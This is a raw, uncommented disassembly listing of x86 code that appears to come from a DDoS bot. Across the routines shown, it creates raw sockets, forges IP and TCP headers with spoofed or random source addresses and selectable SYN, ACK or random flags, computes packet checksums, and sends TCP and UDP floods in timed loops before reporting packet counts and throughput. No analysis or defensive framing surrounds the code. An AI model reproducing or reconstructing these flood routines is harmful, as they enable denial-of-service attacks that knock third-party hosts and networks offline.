mov al, byte ptr [ebp+edx*4+var_88]
mov [ebp+var_1B], al
mov eax, [ebp+var_C]
mov [ebp+var_18], eax
mov eax, [ebp+arg_0]
mov [ebp+var_14], eax
lea eax, [ebp+var_24]
push eax
call sub_40AF06
mov [ebp+var_1A], ax
lea eax, [ebp+var_24]
push 14h
push eax
push [ebp+var_8]
call sub_41FBF0
add esp, 14h
lea eax, [ebp+var_98]
push 10h
push eax
push 0
push esi
push [ebp+var_8]
push [ebp+var_4]
call ds:dword_4E302C ; sendto
loc_414697: ; CODE XREF: sub_4144AD+11Bj
call edi ; GetTickCount
sub eax, [ebp+var_10]
mov ecx, 3E8h
xor edx, edx
div ecx
cmp eax, [ebp+arg_4]
jbe loc_4145CD
push [ebp+var_8]
call sub_41C9D0
pop ecx
push [ebp+var_4]
call ds:dword_4E3060 ; closesocket
xor eax, eax
pop edi
pop esi
inc eax
pop ebx
leave
retn
sub_4144AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4146C8 proc near ; DATA XREF: sub_401C87+5468o
var_440 = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
var_1BC = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
xor esi, esi
push 0Eh
inc esi
xor ebx, ebx
mov [eax+19Ch], esi
pop ecx
xor eax, eax
lea edi, [ebp+var_9F]
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, ds:dword_4F537C
call edi ; GetTickCount
push eax
call sub_41EB60
pop ecx
push 0FFh
push 3
push 2
call ds:dword_4E3048 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_414791
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset unk_44CDC0
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_414771
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409C75
add esp, 14h
loc_414771: ; CODE XREF: sub_4146C8+84j
lea eax, [ebp+var_440]
push eax
call sub_415A3C
push [ebp+var_BC]
call sub_40B9A7
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_414791: ; CODE XREF: sub_4146C8+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call ds:dword_4E2FA8 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_41480F
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset unk_44CDF4
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_4147EF
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409C75
add esp, 14h
loc_4147EF: ; CODE XREF: sub_4146C8+102j
lea eax, [ebp+var_440]
push eax
call sub_415A3C
push [ebp+var_BC]
call sub_40B9A7
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_41480F: ; CODE XREF: sub_4146C8+DFj
lea eax, [ebp+var_23C]
push eax
call ds:dword_4E3008 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_41487F
lea eax, [ebp+var_440]
push offset unk_44CE2C
push eax
call sub_41EA60
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_41485F
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409C75
add esp, 14h
loc_41485F: ; CODE XREF: sub_4146C8+172j
lea eax, [ebp+var_440]
push eax
call sub_415A3C
push [ebp+var_BC]
call sub_40B9A7
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_41487F: ; CODE XREF: sub_4146C8+157j
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_44], 2
push ebx
call ds:dword_4E2FC8 ; htons
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call ds:dword_4E3008 ; inet_addr
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
jmp loc_414AE7
; ---------------------------------------------------------------------------
loc_4148BC: ; CODE XREF: sub_4146C8+433j
push 28h
mov [ebp+var_2C], 45h
call ds:dword_4E2FC8 ; htons
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_414915
call sub_41EB70
mov esi, eax
shl esi, 8
call sub_41EB70
add esi, eax
shl esi, 8
call sub_41EB70
add esi, eax
shl esi, 8
call sub_41EB70
add esi, eax
mov [ebp+var_20], esi
xor esi, esi
inc esi
jmp short loc_41492B
; ---------------------------------------------------------------------------
loc_414915: ; CODE XREF: sub_4146C8+21Ej
push [ebp+var_240]
call sub_40AEAD
pop ecx
push eax
call ds:dword_4E3008 ; inet_addr
mov [ebp+var_20], eax
loc_41492B: ; CODE XREF: sub_4146C8+24Bj
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_414949
call sub_41EB70
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_41494F
; ---------------------------------------------------------------------------
loc_414949: ; CODE XREF: sub_4146C8+26Fj
push [ebp+var_B8]
loc_41494F: ; CODE XREF: sub_4146C8+27Fj
call ds:dword_4E2FC8 ; htons
mov [ebp+var_16], ax
call sub_41EB70
cdq
mov ecx, 401h
idiv ecx
push edx
call ds:dword_4E2FC8 ; htons
push 12345678h
mov [ebp+var_18], ax
call ds:dword_4E2FC4 ; htonl
mov [ebp+var_14], eax
lea eax, [ebp+var_1BC]
push offset aSyn_1 ; "syn"
push eax
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jz short loc_41499F
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_4149FB
; ---------------------------------------------------------------------------
loc_41499F: ; CODE XREF: sub_4146C8+2CCj
lea eax, [ebp+var_1BC]
push offset aAck_0 ; "ack"
push eax
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jz short loc_4149BF
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_4149FB
; ---------------------------------------------------------------------------
loc_4149BF: ; CODE XREF: sub_4146C8+2ECj
lea eax, [ebp+var_1BC]
push offset aRandom_2 ; "random"
push eax
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jz short loc_4149FB
call sub_41EB70
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call sub_41EB70
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_4149FB: ; CODE XREF: sub_4146C8+2D5j
; sub_4146C8+2F5j ...
push 200h
mov [ebp+var_C], 50h
call ds:dword_4E2FC8 ; htons
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+var_64], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call ds:dword_4E2FC8 ; htons
mov [ebp+var_5A], ax
lea eax, [ebp+var_64]
push 20h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41FBF0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_80]
push eax
call sub_41FBF0
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40AF06
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41FBF0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_8C]
push eax
call sub_41FBF0
push 4
lea eax, [ebp+var_78]
push ebx
push eax
call sub_41E4B0
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40AF06
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41FBF0
add esp, 14h
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call ds:dword_4E302C ; sendto
cmp eax, 0FFFFFFFFh
jz loc_414B92
inc [ebp+arg_0]
loc_414AE7: ; CODE XREF: sub_4146C8+1EFj
call edi ; GetTickCount
sub eax, [ebp+var_30]
mov ecx, 3E8h
xor edx, edx
div ecx
cmp eax, [ebp+var_B4]
jbe loc_4148BC
push [ebp+var_4]
call ds:dword_4E3060 ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_440]
push offset unk_44CE60
push eax
call sub_41EA60
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_414B72
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409C75
add esp, 14h
loc_414B72: ; CODE XREF: sub_4146C8+485j
lea eax, [ebp+var_440]
push eax
call sub_415A3C
push [ebp+var_BC]
call sub_40B9A7
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_414B92: ; CODE XREF: sub_4146C8+416j
push [ebp+var_4]
call ds:dword_4E3060 ; closesocket
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset unk_44CEB0
lea eax, [ebp+var_440]
push 200h
push eax
call sub_41EC30
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_414BF0
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409C75
add esp, 14h
loc_414BF0: ; CODE XREF: sub_4146C8+503j
lea eax, [ebp+var_440]
push eax
call sub_415A3C
push [ebp+var_BC]
call sub_40B9A7
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
sub_4146C8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414C10 proc near ; CODE XREF: sub_414D19+196p
; sub_414D19+1FFp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
push esi
xor esi, esi
cmp ecx, 1
mov [ebp+arg_4], esi
jle short loc_414C3E
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
lea edi, [eax+eax]
sub ecx, edi
loc_414C30: ; CODE XREF: sub_414C10+28j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec eax
jnz short loc_414C30
pop edi
cmp ecx, 1
loc_414C3E: ; CODE XREF: sub_414C10+12j
jnz short loc_414C4B
mov al, [edx]
mov byte ptr [ebp+arg_4], al
movzx eax, word ptr [ebp+arg_4]
add esi, eax
loc_414C4B: ; CODE XREF: sub_414C10:loc_414C3Ej
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
sub_414C10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414C64 proc near ; DATA XREF: sub_401C87+6D8Co
var_394 = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+var_110]
push eax
call sub_41E710
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call ds:dword_4E3008 ; inet_addr
push eax
lea esi, [ebp+var_194]
sub esp, 194h
push 65h
pop ecx
mov edi, esp
rep movsd
call sub_414D19
push eax
lea eax, [ebp+var_394]
push offset unk_44CF00
push eax
call sub_41EA60
xor esi, esi
add esp, 1A8h
cmp [ebp+var_8], esi
jnz short loc_414CFC
push esi
lea eax, [ebp+var_394]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_194]
call sub_409C75
add esp, 14h
loc_414CFC: ; CODE XREF: sub_414C64+76j
lea eax, [ebp+var_394]
push eax
call sub_415A3C
push [ebp+var_10]
call sub_40B9A7
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
sub_414C64 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414D19 proc near ; CODE XREF: sub_414C64+54p
var_C8 = byte ptr -0C8h
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_9E = word ptr -9Eh
var_9C = byte ptr -9Ch
var_88 = byte ptr -88h
var_74 = word ptr -74h
var_72 = word ptr -72h
var_70 = dword ptr -70h
var_64 = byte ptr -64h
var_60 = byte ptr -60h
var_5F = byte ptr -5Fh
var_5E = byte ptr -5Eh
var_54 = dword ptr -54h
var_50 = byte ptr -50h
var_4E = word ptr -4Eh
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = word ptr -46h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = word ptr -3Ch
var_3A = word ptr -3Ah
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_24 = byte ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_194 = dword ptr 19Ch
arg_198 = dword ptr 1A0h
push ebp
mov ebp, esp
sub esp, 0C8h
and [ebp+var_4], 0
push ebx
push esi
mov esi, ds:dword_4F537C
push edi
call esi ; GetTickCount
push 0FFh
push 3
push 2
mov [ebp+var_C], eax
call ds:dword_4E3048 ; socket
mov [ebp+var_8], eax
call esi ; GetTickCount
push eax
call sub_41EB60
pop ecx
mov ebx, 578h
push ebx
push 9
push 1
call sub_419313
pop ecx
pop ecx
push eax
lea eax, [ebp+var_24]
push eax
call sub_41E4B0
add esp, 0Ch
mov esi, 5A0h
loc_414D72: ; CODE XREF: sub_414D19+224j
call ds:dword_4F537C ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_198]
ja loc_414F42
cmp ds:dword_4E676C, 0
jnz short loc_414DF1
push 10h
pop eax
mov [ebp+var_10], eax
push eax
lea eax, [ebp+var_64]
push 0
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_64]
push eax
push [ebp+arg_0]
call ds:dword_4E2F6C ; getsockname
push 0FFh
push 1
call sub_419313
push eax
movzx eax, [ebp+var_5E]
push eax
movzx eax, [ebp+var_5F]
push eax
movzx eax, [ebp+var_60]
push eax
lea eax, [ebp+var_C8]
push offset aD_D_D_D_1 ; "%d.%d.%d.%d"
push eax
call sub_41EA60
add esp, 20h
jmp short loc_414E04
; ---------------------------------------------------------------------------
loc_414DF1: ; CODE XREF: sub_414D19+7Ej
lea eax, [ebp+var_C8]
push offset dword_4E6150
push eax
call sub_41F620
pop ecx
pop ecx
loc_414E04: ; CODE XREF: sub_414D19+D6j
lea eax, [ebp+var_C8]
push eax
call ds:dword_4E3008 ; inet_addr
mov edi, eax
mov eax, [ebp+var_54]
and al, 45h
push esi
or al, 45h
mov [ebp+var_50], 10h
mov [ebp+var_54], eax
call ds:dword_4E2FC8 ; htons
mov [ebp+var_4E], ax
call sub_41EB70
and [ebp+var_46], 0
mov [ebp+var_4C], ax
mov eax, [ebp+arg_194]
loc_414E40: ; DATA XREF: _2:0045474Co
mov [ebp+var_4A], 40h
mov [ebp+var_48], 40h
mov [ebp+var_47], 6
mov [ebp+var_44], edi
mov [ebp+var_40], eax
call sub_41EB70
mov [ebp+var_3C], ax
call sub_41EB70
mov [ebp+var_3A], ax
call sub_41EB70
mov [ebp+var_38], eax
call sub_41EB70
mov [ebp+var_34], eax
mov eax, [ebp+var_30]
and al, 50h
mov edi, [ebp+var_40]
or al, 50h
and [ebp+var_2A], 0
and [ebp+var_28], 0
mov word ptr [ebp+var_30], ax
mov ax, [ebp+var_3A]
push 14h
mov [ebp+var_72], ax
lea eax, [ebp+var_54]
push eax
mov byte ptr [ebp+var_30+2], 18h
mov [ebp+var_2C], 787Dh
mov [ebp+var_74], 2
mov [ebp+var_70], edi
call sub_414C10
and [ebp+var_A0], 0
pop ecx
pop ecx
mov [ebp+var_46], ax
mov eax, [ebp+var_44]
push 58Ch
mov [ebp+var_A8], eax
mov [ebp+var_A4], edi
mov [ebp+var_9F], 6
call ds:dword_4F552C ; htons
mov [ebp+var_9E], ax
lea eax, [ebp+var_9C]
push 14h
push eax
lea eax, [ebp+var_3C]
push eax
call sub_41FBF0
lea eax, [ebp+var_88]
push ebx
push eax
lea eax, [ebp+var_24]
push eax
call sub_41FBF0
lea eax, [ebp+var_A8]
push 598h
push eax
call sub_414C10
add esp, 20h
mov [ebp+var_2A], ax
lea eax, [ebp+var_74]
push 10h
push eax
push 0
push esi
lea eax, [ebp+var_54]
push eax
push [ebp+var_8]
call ds:dword_4E302C ; sendto
inc [ebp+var_4]
jmp loc_414D72
; ---------------------------------------------------------------------------
loc_414F42: ; CODE XREF: sub_414D19+71j
push [ebp+var_8]
call ds:dword_4E3060 ; closesocket
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_414D19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414F53 proc near ; DATA XREF: sub_401C87+4D47o
var_414 = byte ptr -414h
var_214 = byte ptr -214h
var_10 = dword ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov edx, [ebp+arg_0]
push esi
mov eax, 85h
push edi
mov ecx, eax
mov esi, edx
lea edi, [ebp+var_214]
sub esp, 214h
rep movsd
mov ecx, eax
lea esi, [ebp+var_214]
mov edi, esp
mov dword ptr [edx+210h], 1
rep movsd
call sub_414FC9
push eax
lea eax, [ebp+var_414]
push offset unk_44CF40
push eax
call sub_41EA60
add esp, 220h
lea eax, [ebp+var_414]
push eax
call sub_415A3C
push [ebp+var_10]
call sub_40B9A7
pop ecx
pop ecx
push 0
call ds:dword_4F53A0 ; ExitThread
sub_414F53 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414FC9 proc near ; CODE XREF: sub_414F53+3Bp
var_254 = byte ptr -254h
var_54 = byte ptr -54h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_2F = byte ptr -2Fh
var_2E = byte ptr -2Eh
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_84 = byte ptr 8Ch
arg_104 = byte ptr 10Ch
arg_184 = byte ptr 18Ch
arg_208 = dword ptr 210h
arg_20C = dword ptr 214h
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
mov ebx, 0FFh
push edi
push ebx
push 3
push 2
call ds:dword_4E3048 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jnz short loc_415007
lea eax, [ebp+var_254]
push offset unk_44CF80
push eax
call sub_41EA60
pop ecx
xor edi, edi
pop ecx
jmp loc_4152CD
; ---------------------------------------------------------------------------
loc_415007: ; CODE XREF: sub_414FC9+22j
lea ecx, [ebp+var_14]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_14], 1
call ds:dword_4E2FA8 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_415033
call ds:dword_4E2F5C ; WSAGetLastError
push eax
push offset unk_44CFB0
jmp short loc_41504E
; ---------------------------------------------------------------------------
loc_415033: ; CODE XREF: sub_414FC9+5Aj
lea eax, [ebp+arg_4]
push eax
call ds:dword_4E3008 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_415062
call ds:dword_4E2F5C ; WSAGetLastError
push eax
push offset unk_44D000
loc_41504E: ; CODE XREF: sub_414FC9+68j
lea eax, [ebp+var_254]
push eax
call sub_41EA60
add esp, 0Ch
jmp loc_4152CD
; ---------------------------------------------------------------------------
loc_415062: ; CODE XREF: sub_414FC9+77j
push edi
mov [ebp+var_24], 2
call ds:dword_4E2FC8 ; htons
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call ds:dword_4F5528 ; inet_addr
mov esi, ds:dword_4F537C
mov [ebp+var_20], eax
call esi ; GetTickCount
mov [ebp+var_8], eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_44D044
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+arg_20C], edi
jnz short loc_4150CB
push edi
lea eax, [ebp+var_254]
push [ebp+arg_208]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_409C75
add esp, 14h
loc_4150CB: ; CODE XREF: sub_414FC9+E0j
mov [ebp+var_4], edi
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, eax
lea eax, [ebp+arg_104]
push eax
call sub_41E710
cmp esi, eax
pop ecx
ja loc_415284
mov esi, 41Ch
jmp short loc_4150FF
; ---------------------------------------------------------------------------
loc_4150FA: ; CODE XREF: sub_414FC9+2B5j
mov ebx, 0FFh
loc_4150FF: ; CODE XREF: sub_414FC9+12Fj
cmp ds:dword_4E676C, edi
jnz short loc_415157
push 10h
pop eax
mov [ebp+var_10], eax
push eax
lea eax, [ebp+var_34]
push edi
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+arg_0]
call ds:dword_4E2F6C ; getsockname
push ebx
push 1
call sub_419313
push eax
movzx eax, [ebp+var_2E]
push eax
movzx eax, [ebp+var_2F]
push eax
movzx eax, [ebp+var_30]
push eax
lea eax, [ebp+var_54]
push offset aD_D_D_D_2 ; "%d.%d.%d.%d"
push eax
call sub_41EA60
add esp, 20h
jmp short loc_415167
; ---------------------------------------------------------------------------
loc_415157: ; CODE XREF: sub_414FC9+13Cj
lea eax, [ebp+var_54]
push offset dword_4E6150
push eax
call sub_41F620
pop ecx
pop ecx
loc_415167: ; CODE XREF: sub_414FC9+18Cj
push esi
mov ds:byte_4E6350, 45h
call ds:dword_4E2FC8 ; htons
mov ds:word_4E6352, ax
lea eax, [ebp+var_54]
push eax
mov ds:word_4E6354, 1
mov ds:word_4E6356, di
mov ds:byte_4E6358, 80h
mov ds:byte_4E6359, 11h
mov ds:word_4E635A, di
call ds:dword_4E3008 ; inet_addr
mov ds:dword_4E635C, eax
mov eax, [ebp+var_20]
mov ds:dword_4E6360, eax
lea eax, [ebp+arg_84]
push eax
mov ds:word_4E636A, di
call sub_41E710
test eax, eax
pop ecx
jnz short loc_4151DF
call sub_41EB70
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_4151ED
; ---------------------------------------------------------------------------
loc_4151DF: ; CODE XREF: sub_414FC9+204j
lea eax, [ebp+arg_84]
push eax
call sub_41E710
pop ecx
push eax
loc_4151ED: ; CODE XREF: sub_414FC9+214j
call ds:dword_4E2FC8 ; htons
mov ds:word_4E6366, ax
call sub_41EB70
cdq
mov ecx, 401h
push 408h
idiv ecx
mov ds:word_4E6364, dx
call ds:dword_4E2FC8 ; htons
push 400h
mov ds:word_4E6368, ax
call sub_41EB70
cdq
idiv ebx
push edx
push offset dword_4E636C
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_24]
push 10h
push eax
push edi
push esi
push offset byte_4E6350
loc_415246: ; DATA XREF: _2:00454618o _2:00454620o
push [ebp+var_C]
call ds:dword_4E302C ; sendto
cmp eax, 0FFFFFFFFh
jz loc_4152FC
inc [ebp+var_4]
call ds:dword_4F537C ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, eax
lea eax, [ebp+arg_104]
push eax
call sub_41E710
cmp ebx, eax
pop ecx
jbe loc_4150FA
loc_415284: ; CODE XREF: sub_414FC9+124j
push [ebp+var_C]
call ds:dword_4E3060 ; closesocket
mov esi, [ebp+var_4]
lea eax, [ebp+arg_104]
push eax
imul esi, 41Ch
call sub_41E710
mov ecx, eax
mov eax, esi
shr eax, 0Ah
xor edx, edx
div ecx
shr esi, 14h
push eax
push esi
push [ebp+var_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_44D080
push eax
call sub_41EA60
add esp, 1Ch
loc_4152CD: ; CODE XREF: sub_414FC9+39j
; sub_414FC9+94j ...
cmp [ebp+arg_20C], edi
jnz short loc_4152F5
push edi
lea eax, [ebp+var_254]
push [ebp+arg_208]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_409C75
add esp, 14h
loc_4152F5: ; CODE XREF: sub_414FC9+30Aj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4152FC: ; CODE XREF: sub_414FC9+289j
push [ebp+var_4]
push esi
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_44D0E8
push eax
call sub_41EA60
add esp, 18h
jmp short loc_4152CD
sub_414FC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415321 proc near ; DATA XREF: sub_401C87+640Eo
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
loc_41533E: ; DATA XREF: _2:00454880o
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
call sub_41E710
pop ecx
loc_415355: ; DATA XREF: _2:00454A6Co
push eax
lea eax, [ebp+var_190]
push eax
call sub_41E710
pop ecx
push eax
lea eax, [ebp+var_210]
push eax
call ds:dword_4E3008 ; inet_addr
push eax
call sub_4154BB
push eax
lea eax, [ebp+var_414]
push offset unk_44D174
push eax
call sub_41EA60
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_4153B3
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409C75
add esp, 14h
loc_4153B3: ; CODE XREF: sub_415321+70j
lea eax, [ebp+var_414]
push eax
call sub_415A3C
push [ebp+var_10]
call sub_40B9A7
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_415321 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4153D2 proc near ; CODE XREF: sub_4154BB+18Cp
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
cmp [ebp+arg_C], 0
push esi
push edi
jnz short loc_4153FB
